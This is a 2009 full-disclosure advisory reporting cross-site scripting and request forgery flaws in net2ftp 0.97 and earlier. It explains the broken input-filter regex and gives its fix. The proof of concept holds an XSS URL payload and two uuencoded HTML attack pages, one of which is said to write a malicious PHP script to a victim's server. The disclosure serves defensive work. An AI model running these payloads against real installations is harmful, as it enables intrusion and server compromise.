net2ftp <= 0.97 Cross-Site Scripting/Request Forgery

2009-04-10T00:00:00
ID SECURITYVULNS:DOC:21621
Type securityvulns
Reporter Securityvulns
Modified 2009-04-10T00:00:00

Description

=cicatriz

<c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=# /) /) /)
_ _(/ _ // _ (/ _ _ _
(/
(
)()((()() (/((/) /) o ()/ ((/_ .-/

=net2ftp <= 0.97 Cross-Site Scripting/Request

Forgery=#=~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=Advisory & Vulnerability

Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

    Title: net2ftp &lt;= 0.97 Cross-Site Scripting/Request Forgery
    Advisory ID: VUDO-2009-0804
    Advisory URL: http://research.voodoo-labs.org/advisories/3
    Date founded: 2009-04-02
    Vendors contacted: net2ftp
    Class: Multiple Vulnerabilities
    Remotely Exploitable: Yes
    Localy Exploitable: No
    Exploit/PoC Available: Yes
    Policy: Full Disclosure Policy &#40;RFPolicy&#41; v2.0

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=Tested & Vulnerable

packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

    [+] net2ftp 0.97
    [+] net2ftp 0.95

    Beta:
            [*] net2ftp 0.98 beta

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=Solutions and

Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

The vendor didn't released any fix/update.

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=Technical

Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

Multiple vulnerabilities were found on the package net2ftp [1], version 0.98 and below. Two types of vulnerabilities were found: Cross-Site Scripting and Cross-Site Request Forgery.

[*] Cross-Site Scripting (XSS):

    This vulnerability it&#39;s produced by a &quot;typo&quot; in the function validateGeneriInput&#40;&#41;, where

the extraction of characters < and > fails because the regular expression in charge of the extraction it's invalid.

    +++includes/registerglobals.inc.php @@ 1088:1102
      1088  function validateGenericInput&#40;$input&#41; {
      1089
      1090  // --------------
      1091  // Remove the following characters &lt;&gt;
      1092  // --------------
      1093
      1094  // Remove XSS code
      1095  //      $input = RemoveXSS&#40;$input&#41;;
      1096
      1097  // Remove &lt; &gt;

XXX 1098 $input = preg_replace("/\\<\\>]/", "", $input); 1099
1100 return $input; 1101
1102 } // end validateGenericInput ---includes/registerglobals.inc.php

    This can be easily fixed adding a &quot;[&quot; character to the pattern:

    +++
    $input = preg_replace&#40;&quot;/[&#92;&#92;&lt;&#92;&#92;&gt;]/&quot;, &quot;&quot;, $input&#41;;
    ---

[*] Cross-Site Request Forgery (CSRF):

    All the forms on the web application are vulnerable because they doesn&#39;t check any type of

token to ensure that the user submited the form. So an attacker can trick the user to visit a website with this type of method and perform certain actions on the server, like create files, delete/rename/upload/etc.

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=Proof of

Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[*] Cross-Site Scripting (XSS):

    +++
    http://ftp.victim.com/?state=login_small&amp;errormessage=&lt;iframe

onload="alert(/voodoo/.source);"> ---

[*] Cross-Site Request Forgery (CSRF):

    With this HTML page an attacker can create a evil PHP script on the user&#39;s server.

(uuencoded)

    +++
    begin 644 attack.html
    M/&amp;AT;6P^&quot;CQB;V1Y/@H&#41;/&amp;9O&lt;FT@:60]&#40;D5D:71&amp;;W&#41;M&#40;B!A8W1I;VX]&#40;FAT
    M=&#39;!S.B&#92;O9G1P+G9I8W1I;2YC;VTO:6YD97@N&lt;&amp;AP&#40;B!O;G-U8FUI=#TB&#40;B!M
    M971H;V0]&#40;G!O&lt;W0B/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;F=&#39;!S97&#41;V97&#40;B&#40;&#39;9A;&#39;5E
    M/2&#41;V:6-T:6TN9G1P&lt;V5R=F5R+F-O;2&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP
    M=70@;F&#37;M93TB9G1P&lt;V5R=F5R&lt;&amp;]R=&quot;&#40;@=F&#37;L=64]&#40;C&#40;Q&#40;B!T&gt;7!E/2&#41;H:61D
    M96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;U&lt;V5R;F&#37;M92&#40;@=F&#37;L=64]&#40;G9I8W1I;75S
    M97&#41;N86UE&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;L86YG=6&#37;G
    M92&#40;@=F&#37;L=64]&#40;F5N&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;S
    M:VEN&#40;B!V86QU93TB:6YD:6$B&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA
    M;64]&#40;F9T&lt;&amp;UO9&amp;4B&#40;&#39;9A;&#39;5E/2&#41;B:6YA&lt;GDB&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;
    M/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G!A&lt;W-I=F5M;V1E&#40;B!V86QU93TB&gt;65S&#40;B!T&gt;7!E/2&#41;H
    M:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;S&lt;VQC;VYN96-T&#40;B!V86QU93TB;F&#92;B
    M&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G9I97=M;V1E&#40;B!V86QU
    M93TB;&amp;ES=&quot;&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB&lt;V]R=&quot;&#40;@
    M=F&#37;L=64]&#40;B&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB&lt;V]R=&amp;]R
    M9&amp;5R&#40;B!V86QU93TB&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;S
    M=&amp;&#37;T92&#40;@=F&#37;L=64]&#40;F5D:70B&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA
    M;64]&#40;G-T871E,B&#40;@=F&#37;L=64]&#40;B&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP=70@
    M;F&#37;M93TB9&amp;ER96-T;W&#41;Y&#40;B!V86QU93TB+R&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;
    M:6YP=70@;F&#37;M93TB&lt;V-R965N&#40;B!V86QU93TB,R&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*
    M&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G1E&gt;&#39;1A&lt;F5A5&#39;EP92&#40;@=F&#37;L=64]&#40;B&#40;@=&#39;EP93TB
    M:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;&lt;V5L96-T&#40;&amp;YA;64]&#40;G1E&gt;&#39;1A&lt;F5A4V5L96-T&#40;B!I9#TB
    M=&amp;5X=&amp;&#37;R96&#37;396QE8W0B&#40;&amp;]N8VAA;F=E/2&#41;D;V-U;65N=&quot;YF;W&#41;M&lt;ULG161I
    M=$9O&lt;FTG72YS8W&#41;E96XN=F&#37;L=64],CMD;V-U;65N=&quot;YF;W&#41;M&lt;ULG161I=$9O
    M&lt;FTG72YT97AT87&#41;E851Y&lt;&amp;4N=F&#37;L=64]9&amp;]C=6UE;G0N9F]R;7-;&#41;T5D:71&amp;
    M;W&#41;M&#41;UTN=&amp;5X=&amp;&#37;R96&#37;396QE8W0N;W!T:6]N&lt;UMD;V-U;65N=&quot;YF;W&#41;M&lt;ULG
    M161I=$9O&lt;FTG72YT97AT87&#41;E85-E;&amp;5C=&quot;YS96QE8W1E9$EN9&amp;5X72YV86QU
    M93MD;V-U;65N=&quot;YF;W&#41;M&lt;ULG161I=$9O&lt;FTG72YS=6&#41;M:70H*3LB/@H&#41;&quot;3QO
    M&lt;&#39;1I;VX@=F&#37;L=64]&#40;G!L86EN&#40;B!S96QE8W1E9#TB&lt;V5L96-T960B/DYO&lt;FUA
    M;&quot;!T97AT87&#41;E83PO;W!T:6]N/@H&#41;&quot;3PO&lt;V5L96-T/@H&#41;&quot;3QI;G!U=&quot;!C;&amp;&#37;S
    M&lt;STB:6YP=70B&#40;&amp;YA;64]&#40;F5N=&#39;&#41;Y&#40;B!T&gt;7!E/2&#41;T97AT&#40;B!V86QU93TB979I
    M;&quot;YP:&#39;&#96;B/CQB&lt;CX*&quot;0D&#92;=&amp;5X=&amp;&#37;R96$@;F&#37;M93TB=&amp;5X=&quot;&#40;@8VQA&lt;W,]&#40;F5D
    M:70B&#40;&#39;&#41;O=W,]&#40;C,S&#40;B!S=&#39;EL93TB=VED=&amp;@Z&#40;#DY&#41;3LB&#40;&#39;=R87&#96;]&#40;F]F9B&#40;@
    M;VYK97ED;W=N/2&#41;486&#41;497AT*&quot;DB/CP_/6![&#41;&#37;]&#39;151;&#41;V-M9&quot;==?6&#96;_/CPO
    M=&amp;5X=&amp;&#37;R96$^&quot;@D&#92;+V9O&lt;FT^&quot;CQS8W&#41;I&lt;&#39;0^&quot;F1O8W5M96YT+F9O&lt;FUS6S!=
    G+G-U8FUI=&quot;@I.PH&#92;+W-C&lt;FEP=#X*&quot;CPO8F]D&gt;3X*/&quot;]H=&amp;UL/@H*
    &#96;
    end
    ---

[*] CSRF + XSS:

    This is a Cross-Site Request Forgery attack that creates a simple Cross-Site Scripting

attack in the "Bookmark" section. It can be even worse because the bookmark string can be written according to the attacker needs and the XSS vector can be permanent if the user saves that bookmark (and the string it's also vulnerable to XSS). (uuencoded)

    +++
    begin 644 xss-csrf-attack.html
    M/&amp;AT;6P^&quot;CQB;V1Y/@H&#41;/&amp;9O&lt;FT@:60]&#40;E-T871U&lt;V&#41;A&lt;D9O&lt;FTB&#40;&amp;&#37;C=&amp;EO
    M;CTB:&#39;1T&lt;&#39;,Z+R]F=&#39;&#96;N=FEC=&amp;EM+F-O;2]I;F1E&gt;&quot;YP:&#39;&#96;B&#40;&amp;]N&lt;W5B;6ET
    M/2&#40;B&#40;&amp;UE=&amp;AO9#TB&lt;&amp;]S=&quot;&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;F9T&lt;&#39;-E&lt;G9E&lt;B&#40;@
    M=F&#37;L=64]&#40;G9I8W1I;2YF=&#39;!S97&#41;V97&#40;N8V]M&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;
    M&quot;3QI;G!U=&quot;!N86UE/2&#41;F=&#39;!S97&#41;V97&#41;P;W&#41;T&#40;B!V86QU93TB,C$B&#40;&#39;1Y&lt;&amp;4]
    M&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G5S97&#41;N86UE&#40;B!V86QU93TB=FEC
    M=&amp;EM=7-E&lt;FYA;64B&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;FQA
    M;F=U86=E&#40;B!V86QU93TB96XB&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA
    M;64]&#40;G-K:6XB&#40;&#39;9A;&#39;5E/2&#41;I;F1I82&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP
    M=70@;F&#37;M93TB9G1P;6]D92&#40;@=F&#37;L=64]&#40;F&#41;I;F&#37;R&gt;2&#40;@=&#39;EP93TB:&amp;ED9&amp;5N
    M&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB&lt;&amp;&#37;S&lt;VEV96UO9&amp;4B&#40;&#39;9A;&#39;5E/2&#41;Y97,B&#40;&#39;1Y
    M&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G-S;&amp;-O;FYE8W0B&#40;&#39;9A;&#39;5E
    M/2&#41;N;R&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB=FEE=VUO9&amp;4B
    M&#40;&#39;9A;&#39;5E/2&#41;L:7-T&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;S
    M;W&#41;T&#40;B!V86QU93TB&#40;B!T&gt;7!E/2&#41;H:61D96XB/@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;S
    M;W&#41;T;W&#41;D97&#40;B&#40;&#39;9A;&#39;5E/2&#40;B&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA
    M;64]&#40;G-T871E&#40;B!V86QU93TB8F]O:VUA&lt;FLB&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E;B&#40;^&quot;@D&#41;
    M/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;G-T871E,B&#40;@=F&#37;L=64]&#40;FUA:6XB&#40;&#39;1Y&lt;&amp;4]&#40;FAI9&amp;1E
    M;B&#40;^&quot;@D&#41;/&amp;EN&lt;&#39;5T&#40;&amp;YA;64]&#40;F1I&lt;F5C=&amp;]R&gt;2&#40;@=F&#37;L=64]&#40;B&#92;B&#40;&#39;1Y&lt;&amp;4]
    M&#40;FAI9&amp;1E;B&#40;^&quot;@H&#41;&quot;3QI;G!U=&quot;!N86UE/2&#41;U&lt;FPB&#40;&#39;9A;&#39;5E/2&#41;J879A&lt;V-R
    M:7!T.F&#37;L97&#41;T*#&#96;I.R&#40;@=&#39;EP93TB:&amp;ED9&amp;5N&#40;CX*&quot;0D&#92;:6YP=70@;F&#37;M93TB
    M=&amp;5X=&quot;&#40;@=F&#37;L=64]&#40;B9L=#MI9G&#41;A;64@&lt;W&#41;C/6AT=&#39;&#96;Z+R]V;V]D;V&#92;M;&amp;&#37;B
    M&lt;RYO&lt;F&lt;@;VYL;V&#37;D/6&#37;L97&#41;T*&#39;5N97-C87!E*&quot;]V;V]D;V&#92;E,C!P96]P;&amp;4A
    M+RYS;W5R8V4I*3LF9W0[&#41;FQT.R]I9G&#41;A;64F9W0[&#40;B!T&gt;7!E/2&#41;H:61D96XB
    M/@H&#41;/&quot;]F;W&#41;M/@H*/&#39;-C&lt;FEP=#X*9&amp;]C=6UE;G0N9F]R;7-;,&#37;TN&lt;W5B;6ET
    ?*&quot;D[&quot;CPO&lt;V-R:7!T/@H*/&quot;]B;V1Y/@H&#92;+VAT;6P^&quot;@&#96;&#96;
    &#96;
    end
    ---

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=Reporting

Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

    [*] 02-04-2009: Bugs discovered.
    [*] 03-04-2009: Voodoo contacted the vendor.
    [*] 08-04-2009: After 5 days the vendor didn&#39;t gave any response.
    [*] 08-04-2009: Advisory VUDO-2009-0804 published.

=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=

    [1] http://www.net2ftp.com/

=cicatriz

<c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#

= miй 08 abr 2009 ART

=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#